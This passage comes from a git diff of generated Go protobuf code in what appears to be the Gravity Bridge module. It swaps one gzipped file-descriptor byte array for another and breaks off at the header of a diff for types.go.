0xd6, 0x01, 0xc5, 0xea, 0x33, 0x95, 0x2e, 0x11, 0x6f, 0xc0, 0x7e, 0x44, 0x46, 0x70, - 0x86, 0x14, 0x4c, 0xa6, 0x78, 0x86, 0xd2, 0xd9, 0x53, 0xf1, 0x0c, 0xf5, 0xa1, 0x46, 0x71, 0x06, - 0xfd, 0x5c, 0x83, 0xb9, 0x34, 0xe2, 0x11, 0x19, 0x6a, 0x7f, 0x52, 0xce, 0x53, 0x5f, 0x1b, 0xdc, - 0x80, 0x3f, 0xc9, 0x6a, 0x76, 0x50, 0x3c, 0xc9, 0x7d, 0xd9, 0x49, 0xf1, 0x24, 0xf7, 0x27, 0x1d, - 0xc3, 0xda, 0xed, 0xe9, 0xc5, 0x6b, 0x37, 0x41, 0x1d, 0xc6, 0x6b, 0x37, 0x49, 0x22, 0xf6, 0x6e, - 0x27, 0x39, 0xe3, 0x92, 0xbc, 0x9d, 0x52, 0x19, 0xa3, 0xe4, 0xed, 0x94, 0x4e, 0x1d, 0xe1, 0x0c, - 0xb2, 0x61, 0x5a, 0x4a, 0x49, 0xa0, 0x65, 0xb1, 0x59, 0xa9, 0x59, 0x0d, 0xfd, 0xf2, 0x00, 0x9a, - 0x51, 0xbc, 0x32, 0x4c, 0x26, 0x68, 0x22, 0x71, 0x18, 0x56, 0x31, 0x4c, 0xfa, 0xc5, 0x3e, 0x5a, - 0xfc, 0xd9, 0x54, 0xb1, 0x40, 0xe2, 0xd9, 0xec, 0x43, 0x27, 0x89, 0x67, 0xb3, 0x1f, 0xb1, 0x84, - 0x33, 0xe8, 0x57, 0x1a, 0x14, 0xfa, 0xb0, 0x22, 0x68, 0xa3, 0xdf, 0x00, 0x22, 0x39, 0xac, 0x57, - 0x0f, 0x65, 0x13, 0xc1, 0xf9, 0x93, 0x06, 0x4b, 0x83, 0x71, 0x18, 0xe8, 0x9d, 0x01, 0x47, 0x13, - 0x09, 0xb8, 0x77, 0x8f, 0x62, 0x1a, 0x61, 0xfc, 0xbd, 0x06, 0x8b, 0x03, 0x90, 0x0d, 0xe8, 0xda, - 0x20, 0x83, 0xa2, 0x04, 0xdd, 0xdb, 0x87, 0xb6, 0xe3, 0xcb, 0x48, 0xc5, 0x03, 0x88, 0x65, 0xd4, - 0x87, 0x99, 0x10, 0xcb, 0xa8, 0x1f, 0xb5, 0x10, 0xb4, 0xe2, 0xe4, 0xab, 0xb8, 0xd8, 0x8a, 0x95, - 0x2f, 0xfd, 0x62, 0x2b, 0x56, 0xbf, 0xd1, 0xe3, 0xcc, 0xe6, 0xce, 0x8b, 0x97, 0x79, 0xed, 0xeb, - 0x97, 0x79, 0xed, 0x3f, 0x2f, 0xf3, 0xda, 0x97, 0xaf, 0xf2, 0x99, 0x17, 0xaf, 0xf2, 0xda, 0xd7, - 0xaf, 0xf2, 0x99, 0x7f, 0xbe, 0xca, 0x67, 0x7e, 0xf8, 0x6d, 0xee, 0xe3, 0xfe, 0x1e, 0xa9, 0xd5, - 0xf6, 0x7f, 0xd2, 0x0d, 0xdf, 0x5b, 0x56, 0xcb, 0xed, 0x46, 0xb5, 0x46, 0x8c, 0x96, 0x53, 0xed, - 0x34, 0x89, 0xd1, 0x7d, 0xcb, 0x78, 0x1a, 0xbd, 0xd2, 0xd0, 0xaf, 0xfe, 0xe5, 0x53, 0x94, 0x16, - 0xb8, 0xfa, 0xbf, 0x00, 0x00, 0x00, 0xff, 0xff, 0x3c, 0xb4, 0x05, 0x6a, 0x3f, 0x29, 0x00, 0x00, + 0x94, 0xab, 0x52, 0x4b, 0x2d, 0x0f, 0x14, 0x45, 0x2d, 0x05, 0x0f, 0xf0, 0xc0, 0x03, 0x55, 0x3c, + 0x50, 0xfb, 0x0a, 0x1f, 0x22, 0xc5, 0xd3, 0x56, 0xf1, 0xc2, 0x13, 0x50, 0x09, 0x1f, 0x84, 0x9a, + 0x9e, 0x9e, 0x51, 0xf7, 0x4c, 0xf7, 0x48, 0x76, 0xcc, 0x93, 0xad, 0xd3, 0xe7, 0xf2, 0x3b, 0x3d, + 0xa7, 0xfb, 0x9c, 0xf9, 0x0d, 0x9c, 0xab, 0xb5, 0xad, 0x6e, 0xc3, 0xdb, 0x37, 0xba, 0xeb, 0xc6, + 0xd3, 0x0e, 0x69, 0xef, 0x17, 0xf7, 0xda, 0x8e, 0xe7, 0x20, 0x60, 0xf2, 0x62, 0x77, 0x5d, 0xbf, + 0x5a, 0x71, 0xdc, 0x96, 0xe3, 0x1a, 0x65, 0xcb, 0x25, 0x81, 0x92, 0xd1, 0x5d, 0x2f, 0x13, 0xcf, + 0x5a, 0x37, 0xf6, 0xac, 0x5a, 0xc3, 0xb6, 0xbc, 0x86, 0x63, 0x07, 0x76, 0x7a, 0x9e, 0xd7, 0x0d, + 0xb5, 0x2a, 0x4e, 0x23, 0x5c, 0x9f, 0x09, 0xd6, 0x4d, 0xfa, 0xcb, 0x08, 0x7e, 0xb0, 0xa5, 0x6c, + 0xcd, 0xa9, 0x39, 0x81, 0xdc, 0xff, 0x8f, 0x49, 0xe7, 0x6a, 0x8e, 0x53, 0x6b, 0x12, 0xc3, 0xda, + 0x6b, 0x18, 0x96, 0x6d, 0x3b, 0x1e, 0x8d, 0x16, 0xda, 0xcc, 0xb0, 0x55, 0xfa, 0xab, 0xdc, 0x79, + 0x62, 0x58, 0x36, 0xcb, 0x40, 0xcf, 0x71, 0x99, 0xd5, 0x88, 0x4d, 0xdc, 0x86, 0x2b, 0x5b, 0x61, + 0x69, 0x06, 0x2b, 0xd3, 0xdc, 0x4a, 0xcb, 0xad, 0x31, 0x03, 0x3c, 0x0e, 0xa3, 0xf7, 0xad, 0xb6, + 0xd5, 0x72, 0x4b, 0xe4, 0x69, 0x87, 0xb8, 0x1e, 0xde, 0x84, 0xb1, 0x50, 0xe0, 0xee, 0x39, 0xb6, + 0x4b, 0xd0, 0x1a, 0x9c, 0xde, 0xa3, 0x92, 0x9c, 0x36, 0xaf, 0x2d, 0x0f, 0x6f, 0xa0, 0x62, 0x6f, + 0x03, 0x8b, 0x81, 0xee, 0xe6, 0xc9, 0x97, 0xff, 0x2c, 0x64, 0x4a, 0x4c, 0x0f, 0x7f, 0x1b, 0xd0, + 0x76, 0xa3, 0x66, 0x93, 0xf6, 0x36, 0xf1, 0x1e, 0x3c, 0x63, 0x9e, 0xd1, 0x32, 0x4c, 0xb8, 0x54, + 0x6a, 0xba, 0xc4, 0x33, 0x6d, 0xc7, 0xae, 0x10, 0xea, 0xf1, 0x64, 0x69, 0xcc, 0x0d, 0xb5, 0xef, + 0xfa, 0x52, 0xac, 0x43, 0xee, 0x13, 0xcb, 0x23, 0xae, 0x97, 0xf4, 0x82, 0xef, 0xc0, 0x94, 0x20, + 0x65, 0x20, 0xaf, 0x03, 0xf4, 0x9c, 0x33, 0xa0, 0xe7, 0x79, 0xa0, 0xbc, 0xd1, 0xd9, 0x28, 0x1e, + 0x7e, 0x0c, 0x63, 0x9b, 0x96, 0x57, 0xa9, 0xf7, 0x60, 0x5e, 0x82, 0x31, 0xcf, 0xd9, 0x25, 0xb6, + 0x59, 0x71, 0x6c, 0xaf, 0x6d, 0x55, 0x02, 0x6f, 0x67, 0x4b, 0xa3, 0x54, 0xba, 0xc5, 0x84, 0xa8, + 0x00, 0xc3, 0x65, 0xdf, 0x90, 0x25, 0x32, 0x44, 0x13, 0x01, 0x2a, 0x0a, 0x92, 0x78, 0x0f, 0xc6, + 0x23, 0xcf, 0x0c, 0xe4, 0x15, 0x38, 0x45, 0x15, 0x18, 0xbe, 0x29, 0x1e, 0x5f, 0xa8, 0x1b, 0x68, + 0xe0, 0x0e, 0x4c, 0x87, 0xa1, 0xb6, 0xac, 0x66, 0xb3, 0x07, 0x6f, 0x15, 0x50, 0xc3, 0xee, 0x5a, + 0xcd, 0x46, 0x95, 0x56, 0x8b, 0xe9, 0x56, 0x9c, 0xbd, 0x60, 0x1f, 0x47, 0x4a, 0x93, 0xfc, 0xca, + 0xb6, 0xbf, 0x90, 0x50, 0xe7, 0xd1, 0x0a, 0xea, 0x01, 0xe8, 0x6d, 0x38, 0x17, 0x0f, 0xcb, 0xb0, + 0xbf, 0x03, 0xd0, 0x74, 0x6a, 0x8d, 0x8a, 0x59, 0xb1, 0x9a, 0x4d, 0x96, 0x80, 0xce, 0x27, 0x10, + 0xb3, 0x3b, 0x4b, 0xb5, 0xfd, 0x1f, 0xf8, 0x63, 0x28, 0x70, 0xbb, 0xbf, 0xe5, 0xd8, 0x4f, 0x1a, + 0xed, 0x56, 0x50, 0xeb, 0x87, 0xaf, 0x8d, 0x1a, 0xcc, 0xab, 0x9d, 0x31, 0xac, 0x5b, 0x41, 0x31, + 0x58, 0x5e, 0xa7, 0x4d, 0xfc, 0xaa, 0x3d, 0xb1, 0x3c, 0xbc, 0xb1, 0xa8, 0x28, 0x06, 0xde, 0x43, + 0x89, 0x33, 0xc3, 0x3f, 0x12, 0x0a, 0x2d, 0x42, 0x7a, 0x0b, 0xa0, 0x77, 0x33, 0xb0, 0x7d, 0x58, + 0x2a, 0xb2, 0xd3, 0xee, 0x5f, 0x0d, 0xc5, 0xe0, 0xae, 0x61, 0x17, 0x44, 0xf1, 0xbe, 0x55, 0x23, + 0xcc, 0xb6, 0xc4, 0x59, 0xe2, 0xdf, 0x6b, 0x90, 0x15, 0xfd, 0x33, 0xf0, 0xdf, 0x84, 0xe1, 0xde, + 0x56, 0x84, 0xe8, 0x95, 0xa5, 0x0c, 0xd1, 0xf6, 0xb8, 0xe8, 0xb6, 0x00, 0x6d, 0x88, 0x42, 0xbb, + 0xdc, 0x17, 0x5a, 0x10, 0x56, 0xc0, 0xb6, 0x13, 0x95, 0xee, 0xb1, 0xa7, 0xfd, 0x0b, 0x0d, 0x26, + 0x7a, 0xbe, 0x59, 0xca, 0xab, 0x70, 0x86, 0x56, 0x7d, 0xf4, 0xb0, 0xa4, 0x27, 0x23, 0xd4, 0x39, + 0xbe, 0x3c, 0x3f, 0x8b, 0x57, 0xfb, 0xb1, 0xa7, 0xfb, 0x5b, 0x0d, 0xce, 0x27, 0x42, 0x44, 0xf7, + 0xea, 0x29, 0xff, 0x2c, 0x85, 0x39, 0xa7, 0x1d, 0xa6, 0x40, 0xf1, 0xf8, 0x12, 0x7f, 0x1b, 0x66, + 0x1f, 0xda, 0xb4, 0x72, 0xaa, 0xb2, 0x1a, 0xcf, 0xc1, 0x19, 0xab, 0x5a, 0x6d, 0x13, 0xd7, 0x65, + 0x77, 0x5f, 0xf8, 0x13, 0x3f, 0x86, 0x39, 0xb9, 0xe1, 0x9b, 0x16, 0x2f, 0xbe, 0x06, 0xe7, 0x43, + 0xcf, 0xf1, 0xda, 0x53, 0xc3, 0xf9, 0x08, 0x72, 0x49, 0xa3, 0x23, 0x15, 0x15, 0x7e, 0x17, 0xf2, + 0xa1, 0x2b, 0x45, 0x4d, 0xa8, 0x61, 0x6c, 0x43, 0x41, 0x69, 0x7b, 0xd4, 0x87, 0x8d, 0xb3, 0x80, + 0x18, 0xc8, 0x5b, 0x84, 0x44, 0xed, 0xb9, 0x0b, 0x53, 0x82, 0x94, 0xb9, 0x37, 0xe1, 0xe4, 0x13, + 0x12, 0x65, 0x3a, 0x23, 0xd4, 0x44, 0x58, 0x0d, 0x5b, 0x4e, 0xc3, 0xde, 0x5c, 0xf3, 0x1b, 0xf5, + 0x57, 0xff, 0x2a, 0x2c, 0xd7, 0x1a, 0x5e, 0xbd, 0x53, 0x2e, 0x56, 0x9c, 0x16, 0x1b, 0x55, 0xd8, + 0x9f, 0x55, 0xb7, 0xba, 0x6b, 0x78, 0xfb, 0x7b, 0xc4, 0xa5, 0x06, 0x6e, 0x89, 0x3a, 0xc6, 0x9f, + 0x6b, 0x80, 0x45, 0x9c, 0xd2, 0x7b, 0xfc, 0x7f, 0xdb, 0x9d, 0x5a, 0xb0, 0x98, 0x8a, 0x81, 0x6d, + 0xc6, 0x2d, 0xc9, 0xf5, 0xbf, 0xa4, 0xde, 0x70, 0x65, 0x07, 0x20, 0x30, 0xcb, 0xf6, 0x5a, 0x9a, + 0x6b, 0x6c, 0x02, 0xd0, 0xe2, 0x13, 0x80, 0x64, 0x92, 0x18, 0x92, 0x4c, 0x12, 0xd8, 0x84, 0x39, + 0x79, 0x18, 0x96, 0xce, 0x77, 0x24, 0xe9, 0x14, 0x24, 0xb5, 0xac, 0xcc, 0xe3, 0x7d, 0x58, 0xf8, + 0xc4, 0x72, 0xbd, 0xed, 0x4e, 0xb9, 0xd5, 0xf0, 0x3c, 0x52, 0xbd, 0xe9, 0xd5, 0x49, 0x9b, 0x74, + 0x5a, 0x37, 0xbb, 0xc4, 0xf6, 0xfa, 0x57, 0xf7, 0x4d, 0xc0, 0x69, 0xe6, 0x0c, 0x65, 0x01, 0x86, + 0x89, 0x2f, 0x10, 0x77, 0x83, 0x8a, 0x82, 0x87, 0xb7, 0x02, 0x53, 0x37, 0x4b, 0x5b, 0x1b, 0x6b, + 0x0f, 0x9c, 0x1b, 0xc4, 0x76, 0x5a, 0x61, 0xdc, 0x2c, 0x9c, 0x22, 0xed, 0xca, 0xc6, 0x1a, 0x8b, + 0x1a, 0xfc, 0xc0, 0x3b, 0x90, 0x15, 0x95, 0x59, 0x94, 0x2c, 0x9c, 0xaa, 0xfa, 0x82, 0x50, 0x9b, + 0xfe, 0x40, 0x2b, 0x30, 0xc9, 0x66, 0x6f, 0xa7, 0xdd, 0xa0, 0x97, 0x1c, 0xa9, 0xd2, 0xbd, 0x7e, + 0xab, 0x34, 0x11, 0x2c, 0xdc, 0x8b, 0xe4, 0x78, 0x1d, 0x66, 0xa8, 0xcf, 0x07, 0x0e, 0x8d, 0x20, + 0x4c, 0xbf, 0x72, 0xff, 0xf8, 0x4f, 0x1a, 0xe8, 0x32, 0x1b, 0x06, 0xea, 0x02, 0x80, 0x7f, 0xd0, + 0x4c, 0xde, 0xf2, 0xac, 0x2f, 0xa1, 0x36, 0xfe, 0x32, 0x4d, 0xca, 0xb4, 0xad, 0x16, 0x61, 0x25, + 0x70, 0x96, 0x4a, 0xee, 0x5a, 0x2d, 0x82, 0x16, 0x60, 0x24, 0x58, 0x76, 0xf7, 0x5b, 0x65, 0xa7, + 0x99, 0x3b, 0x41, 0x15, 0x86, 0xa9, 0x6c, 0x9b, 0x8a, 0xfc, 0x42, 0x0a, 0x54, 0xaa, 0xa4, 0xd2, + 0x68, 0x59, 0x4d, 0x37, 0x77, 0x92, 0x6e, 0xef, 0x28, 0x95, 0xde, 0x60, 0x42, 0x7f, 0x87, 0x79, + 0x94, 0xe9, 0x39, 0xed, 0x40, 0x56, 0x54, 0xee, 0xed, 0x70, 0xf2, 0x79, 0x1c, 0x6e, 0x87, 0xef, + 0x40, 0xfe, 0x06, 0x69, 0x92, 0x9a, 0xe5, 0x91, 0x8f, 0xc9, 0xbe, 0xbb, 0xb9, 0xff, 0x28, 0x38, + 0xc7, 0x4e, 0x3b, 0x84, 0xb4, 0x02, 0x93, 0xdd, 0x50, 0x66, 0x8a, 0x65, 0x37, 0x11, 0x2d, 0x7c, + 0xc0, 0xea, 0xaf, 0x03, 0x05, 0xa5, 0x3b, 0xae, 0xf8, 0xbc, 0x7a, 0xcc, 0x13, 0x10, 0xaf, 0xce, + 0x7c, 0xa0, 0x75, 0xc8, 0x3a, 0x6d, 0xff, 0x9e, 0xf7, 0xda, 0x42, 0xcc, 0xe0, 0x69, 0x4c, 0xf1, + 0x6b, 0x61, 0xd8, 0xbb, 0xb0, 0x28, 0x86, 0x0d, 0xeb, 0x3e, 0xe8, 0x60, 0x61, 0x2a, 0x97, 0x61, + 0x9c, 0xb0, 0x05, 0x33, 0x68, 0x67, 0x2c, 0xfc, 0x18, 0x11, 0xf4, 0xf1, 0xcf, 0x35, 0xb8, 0x98, + 0xee, 0x90, 0x25, 0x73, 0x98, 0xcd, 0x39, 0x4a, 0x62, 0x8f, 0x60, 0x41, 0xc4, 0x71, 0x8f, 0x53, + 0x0a, 0xd3, 0x52, 0xf9, 0xd5, 0xd4, 0x7e, 0x7f, 0x0a, 0x38, 0xcd, 0xef, 0x51, 0xb2, 0x93, 0x6c, + 0xee, 0x90, 0x74, 0x73, 0xa7, 0xfd, 0xd2, 0xef, 0xc5, 0x0e, 0xbb, 0xe5, 0x63, 0xbf, 0xc8, 0x79, + 0x31, 0x03, 0xf1, 0x5d, 0x18, 0xad, 0x32, 0xb9, 0xb9, 0x4b, 0xf6, 0xc3, 0x5b, 0x75, 0x96, 0xbf, + 0x55, 0xef, 0xb8, 0x35, 0xc1, 0x76, 0xa4, 0xca, 0xfd, 0xc2, 0xb7, 0xe0, 0x02, 0xbd, 0x76, 0x49, + 0x75, 0x9b, 0xd8, 0xd5, 0x07, 0x4e, 0xf8, 0x2c, 0x5d, 0xee, 0x35, 0xd2, 0x25, 0x76, 0x95, 0xc4, + 0x93, 0x1c, 0x0d, 0xa4, 0xe1, 0xa6, 0xd5, 0x21, 0xaf, 0xf2, 0x13, 0x75, 0xb3, 0x49, 0xdf, 0xc4, + 0xf4, 0x1c, 0x33, 0x4c, 0x5a, 0x3a, 0x45, 0x88, 0xf6, 0xa5, 0x71, 0x57, 0xf4, 0x87, 0xbf, 0xd4, + 0xfc, 0x29, 0xa5, 0x7c, 0x0c, 0xa0, 0x63, 0xd3, 0xf1, 0xd0, 0x91, 0xa7, 0xe3, 0xbf, 0x68, 0x30, + 0xaf, 0x86, 0x74, 0xbc, 0xf9, 0x1f, 0xdf, 0xf0, 0xbc, 0x18, 0xb4, 0xd3, 0x7b, 0x65, 0x97, 0xb4, + 0xbb, 0xbd, 0x76, 0xf8, 0x21, 0x69, 0xd4, 0xea, 0x61, 0x3b, 0xc5, 0xbf, 0xd2, 0x82, 0xae, 0xa9, + 0xd2, 0x62, 0xc9, 0xd5, 0xe1, 0x42, 0xd3, 0x72, 0x3d, 0xd3, 0x61, 0x6a, 0x51, 0x8a, 0x66, 0x9d, + 0x2a, 0xb2, 0x57, 0x8f, 0x4b, 0x7c, 0xa2, 0x01, 0x35, 0x12, 0x3a, 0xdc, 0x6c, 0x3a, 0x95, 0x5d, + 0xe6, 0x55, 0x6f, 0x2a, 0x23, 0x62, 0x1d, 0x72, 0x5b, 0x4e, 0x6b, 0xaf, 0x49, 0xbc, 0xc4, 0x80, + 0x8d, 0x3f, 0x83, 0x19, 0xc9, 0x5a, 0xf4, 0x32, 0x3d, 0x55, 0x09, 0x17, 0xcd, 0x60, 0xe0, 0xf1, + 0x9e, 0xa5, 0xce, 0xd4, 0x93, 0x95, 0xb8, 0x33, 0xbc, 0x00, 0x85, 0x28, 0x82, 0x7c, 0xbc, 0xc6, + 0x07, 0x30, 0xaf, 0x56, 0x61, 0x58, 0x76, 0x60, 0xb6, 0x87, 0x25, 0x9c, 0xaa, 0x28, 0x23, 0xc1, + 0x61, 0x4a, 0x9b, 0xad, 0x73, 0x15, 0x45, 0x08, 0x9c, 0x87, 0xb9, 0x28, 0xbc, 0xe4, 0x9d, 0x08, + 0x3f, 0x85, 0x0b, 0x8a, 0x75, 0x86, 0xed, 0x3e, 0xf4, 0x9c, 0x9b, 0x1c, 0x99, 0xd1, 0x03, 0xa6, + 0x7c, 0x0f, 0x9a, 0xae, 0xc8, 0x3c, 0xe3, 0x87, 0xb0, 0x24, 0x1b, 0x0c, 0xdf, 0xb4, 0x9f, 0xbe, + 0xd0, 0xe0, 0x72, 0x5f, 0xbf, 0x2c, 0xa9, 0x87, 0x70, 0x2e, 0x7c, 0xe4, 0xfe, 0x7e, 0xf7, 0x94, + 0x07, 0x9d, 0x43, 0xb3, 0x65, 0x49, 0x24, 0xfc, 0x29, 0xac, 0xa6, 0x0c, 0xf2, 0x6f, 0x9a, 0xe0, + 0x1f, 0x34, 0x28, 0x0e, 0xea, 0x9e, 0xe5, 0xb9, 0x0b, 0xf9, 0x78, 0x39, 0xc5, 0xf2, 0x1d, 0x3a, + 0xd4, 0x6b, 0xc4, 0x6c, 0x45, 0x1d, 0x1f, 0xef, 0xc0, 0x55, 0x15, 0x85, 0xf5, 0xa6, 0xa9, 0xff, + 0x5a, 0x83, 0x95, 0x81, 0x7c, 0xb3, 0xbc, 0xcb, 0x30, 0x2b, 0x94, 0x6a, 0x2c, 0xe9, 0x13, 0x83, + 0x53, 0x67, 0x39, 0x57, 0x11, 0x16, 0x37, 0xa0, 0x20, 0xbc, 0x32, 0x3c, 0x72, 0x3c, 0x52, 0x22, + 0x15, 0xa7, 0x5d, 0x3d, 0x76, 0xba, 0xe5, 0x2b, 0x0d, 0xe6, 0xd5, 0xb1, 0x58, 0xce, 0xef, 0xc3, + 0x99, 0x76, 0x20, 0x92, 0x51, 0x83, 0x0a, 0xf3, 0x52, 0x68, 0x73, 0x7c, 0x7d, 0xe4, 0x43, 0x98, + 0x49, 0x04, 0x73, 0x8f, 0xf4, 0xd4, 0xeb, 0xa0, 0xcb, 0x3c, 0xb1, 0x7c, 0xbf, 0x07, 0xa7, 0xe9, + 0x6b, 0x58, 0x98, 0x6e, 0xb6, 0x18, 0x7c, 0x59, 0x28, 0x86, 0x5f, 0x16, 0x8a, 0x1f, 0xd8, 0xfb, + 0x9b, 0x73, 0x7f, 0xfb, 0xeb, 0x6a, 0x4e, 0xb5, 0x0f, 0x25, 0xe6, 0x61, 0xe3, 0x8b, 0x02, 0x9c, + 0xfa, 0xbe, 0x9f, 0x1e, 0xfa, 0x21, 0x9c, 0x0e, 0x5e, 0x83, 0xd0, 0x4c, 0xf2, 0x7b, 0x00, 0xcb, + 0x42, 0xd7, 0x65, 0x4b, 0x01, 0x2c, 0xac, 0x7f, 0xfe, 0xf7, 0xff, 0xfc, 0x66, 0x28, 0x8b, 0x90, + 0xc1, 0x7d, 0x99, 0x08, 0x3e, 0x20, 0xa0, 0x2f, 0x34, 0x18, 0xe6, 0x0a, 0x0d, 0xe5, 0x55, 0x37, + 0x27, 0x8b, 0x53, 0x50, 0xae, 0xb3, 0x60, 0xdf, 0xa0, 0xc1, 0x0c, 0xb4, 0xca, 0x07, 0x13, 0x2f, + 0x69, 0xe3, 0x79, 0x9c, 0x81, 0x3e, 0xf0, 0x71, 0x4c, 0x26, 0xbe, 0x44, 0xa0, 0x8b, 0xc9, 0x6e, + 0x7c, 0x14, 0x4c, 0x57, 0x28, 0xa6, 0x45, 0xb4, 0x90, 0x82, 0xa9, 0x49, 0xbd, 0xa3, 0x17, 0x1a, + 0x9c, 0x61, 0xb7, 0x2b, 0xd2, 0x65, 0x2d, 0x97, 0xc5, 0x9c, 0x95, 0xae, 0xb1, 0x78, 0xef, 0xd1, + 0x78, 0xd7, 0xd1, 0xff, 0xf3, 0xf1, 0xa2, 0x86, 0x6e, 0x3c, 0x17, 0xb9, 0x8a, 0x03, 0xe3, 0x39, + 0xc7, 0x6e, 0x1c, 0xa0, 0x3f, 0x6b, 0x30, 0x26, 0x5e, 0x78, 0x68, 0x21, 0xa5, 0xd1, 0x32, 0x40, + 0x38, 0x4d, 0x85, 0xe1, 0xba, 0x47, 0x71, 0x7d, 0x84, 0x6e, 0xf3, 0xb8, 0x12, 0xcd, 0xdd, 0x78, + 0x9e, 0x24, 0x96, 0x0e, 0x62, 0x42, 0x06, 0xb5, 0x03, 0x23, 0x7c, 0x1f, 0x45, 0xaa, 0x27, 0x11, + 0x95, 0xe9, 0xbc, 0x5a, 0x81, 0x61, 0xc4, 0x14, 0xe3, 0x1c, 0xd2, 0xd5, 0xcf, 0x0a, 0xdd, 0x86, + 0xb7, 0xc2, 0x79, 0x07, 0xc9, 0x1e, 0x44, 0x14, 0x6e, 0x4e, 0xbe, 0xc8, 0x42, 0x65, 0xd0, 0xa7, + 0x30, 0x1e, 0x9b, 0x4e, 0x50, 0xca, 0x3e, 0x46, 0x6e, 0x17, 0x53, 0x75, 0x22, 0xef, 0x3f, 0x81, + 0x9c, 0xaa, 0x43, 0xa0, 0x95, 0x01, 0x6e, 0xfa, 0x28, 0xde, 0xff, 0x0d, 0xa6, 0x1c, 0x05, 0xde, + 0x85, 0xac, 0x6c, 0xec, 0x40, 0x97, 0xfb, 0xcc, 0x10, 0x51, 0xc0, 0xe5, 0xfe, 0x8a, 0x51, 0xb0, + 0x17, 0x1a, 0xcc, 0xa6, 0xcc, 0x00, 0xa8, 0x38, 0x58, 0x23, 0x8f, 0x62, 0x1b, 0x03, 0xeb, 0xf3, + 0xf9, 0xca, 0xb8, 0x72, 0x31, 0xdf, 0x14, 0x1a, 0x5e, 0xcc, 0x37, 0x8d, 0x76, 0xc7, 0x19, 0x64, + 0xc2, 0x44, 0x9c, 0x09, 0x47, 0x8b, 0x32, 0xfb, 0x78, 0x31, 0x5e, 0x4c, 0x57, 0x8a, 0x02, 0x78, + 0x3d, 0x7e, 0x3e, 0x5e, 0x9c, 0x57, 0x65, 0x2e, 0x14, 0x45, 0xba, 0x32, 0x90, 0x6e, 0x14, 0xf5, + 0x00, 0x74, 0x35, 0xf7, 0x88, 0x56, 0xc5, 0x8b, 0xb8, 0x0f, 0xc5, 0xa9, 0x17, 0x07, 0x55, 0x8f, + 0xc2, 0xdf, 0x87, 0x61, 0x8e, 0x6d, 0x17, 0xdb, 0x50, 0x92, 0x9c, 0xd7, 0x0b, 0xca, 0xf5, 0xc8, + 0xe3, 0x36, 0x8c, 0xf0, 0xc4, 0xa6, 0x78, 0x37, 0x49, 0xf8, 0x51, 0xf1, 0x6e, 0x92, 0x71, 0xa2, + 0x38, 0x83, 0x08, 0xa0, 0x24, 0x3d, 0x89, 0x84, 0x97, 0x46, 0x25, 0xe5, 0xa9, 0x2f, 0xf5, 0x53, + 0xe3, 0xb1, 0xf3, 0xeb, 0x22, 0x76, 0x09, 0xf3, 0x28, 0x62, 0x97, 0xb1, 0x8d, 0x38, 0x83, 0x9e, + 0xc2, 0x39, 0x39, 0x01, 0x82, 0xae, 0x24, 0x76, 0x53, 0xc5, 0x5b, 0xe8, 0x57, 0x07, 0x51, 0xe5, + 0x6f, 0x40, 0x15, 0xeb, 0x80, 0x62, 0xf5, 0x99, 0x4a, 0x97, 0x88, 0x37, 0x60, 0x3f, 0x22, 0x23, + 0x38, 0x43, 0x0a, 0x26, 0x53, 0x3c, 0x43, 0xe9, 0xec, 0xa9, 0x78, 0x86, 0xfa, 0x50, 0xa3, 0x38, + 0x83, 0x7e, 0xa6, 0xc1, 0x5c, 0x1a, 0xf1, 0x88, 0x0c, 0xb5, 0x3f, 0x29, 0xe7, 0xa9, 0xaf, 0x0d, + 0x6e, 0xc0, 0x9f, 0x64, 0x35, 0x3b, 0x28, 0x9e, 0xe4, 0xbe, 0xec, 0xa4, 0x78, 0x92, 0xfb, 0x93, + 0x8e, 0x61, 0xed, 0xf6, 0xf4, 0xe2, 0xb5, 0x9b, 0xa0, 0x0e, 0xe3, 0xb5, 0x9b, 0x24, 0x11, 0x7b, + 0xb7, 0x93, 0x9c, 0x71, 0x49, 0xde, 0x4e, 0xa9, 0x8c, 0x51, 0xf2, 0x76, 0x4a, 0xa7, 0x8e, 0x70, + 0x06, 0xd9, 0x30, 0x2d, 0xa5, 0x24, 0xd0, 0xb2, 0xd8, 0xac, 0xd4, 0xac, 0x86, 0x7e, 0x65, 0x00, + 0xcd, 0x28, 0x5e, 0x19, 0x26, 0x13, 0x34, 0x91, 0x38, 0x0c, 0xab, 0x18, 0x26, 0xfd, 0x52, 0x1f, + 0x2d, 0xfe, 0x6c, 0xaa, 0x58, 0x20, 0xf1, 0x6c, 0xf6, 0xa1, 0x93, 0xc4, 0xb3, 0xd9, 0x8f, 0x58, + 0xc2, 0x19, 0xf4, 0x4b, 0x0d, 0x0a, 0x7d, 0x58, 0x11, 0xb4, 0xd1, 0x6f, 0x00, 0x91, 0x1c, 0xd6, + 0x6b, 0x87, 0xb2, 0x89, 0xe0, 0xfc, 0x51, 0x83, 0xa5, 0xc1, 0x38, 0x0c, 0xf4, 0xce, 0x80, 0xa3, + 0x89, 0x04, 0xdc, 0xbb, 0x47, 0x31, 0x8d, 0x30, 0xfe, 0x4e, 0x83, 0xc5, 0x01, 0xc8, 0x06, 0x74, + 0x7d, 0x90, 0x41, 0x51, 0x82, 0xee, 0xed, 0x43, 0xdb, 0xf1, 0x65, 0xa4, 0xe2, 0x01, 0xc4, 0x32, + 0xea, 0xc3, 0x4c, 0x88, 0x65, 0xd4, 0x8f, 0x5a, 0x08, 0x5a, 0x71, 0xf2, 0x55, 0x5c, 0x6c, 0xc5, + 0xca, 0x97, 0x7e, 0xb1, 0x15, 0xab, 0xdf, 0xe8, 0x71, 0x66, 0x73, 0xe7, 0xe5, 0xab, 0xbc, 0xf6, + 0xf5, 0xab, 0xbc, 0xf6, 0xef, 0x57, 0x79, 0xed, 0xcb, 0xd7, 0xf9, 0xcc, 0xcb, 0xd7, 0x79, 0xed, + 0xeb, 0xd7, 0xf9, 0xcc, 0x3f, 0x5e, 0xe7, 0x33, 0x3f, 0xf8, 0x16, 0xf7, 0x71, 0x7f, 0x8f, 0xd4, + 0x6a, 0xfb, 0x3f, 0xee, 0x86, 0xef, 0x2d, 0xab, 0xe5, 0x76, 0xa3, 0x5a, 0x23, 0x46, 0xcb, 0xa9, + 0x76, 0x9a, 0xc4, 0xe8, 0x5e, 0x37, 0x9e, 0x45, 0xaf, 0x34, 0xf4, 0xab, 0x7f, 0xf9, 0x34, 0xa5, + 0x05, 0xae, 0xfd, 0x37, 0x00, 0x00, 0xff, 0xff, 0x6f, 0x02, 0xe8, 0x5f, 0x3f, 0x29, 0x00, 0x00, } // Reference imports to suppress errors if they are not otherwise used. diff --git a/module/x/gravity/types/types.go b/module/x/gravity/types/types.go index c8b9fa9dc..3b6209e19 100644 --- a/module/x/gravity/types/types.go 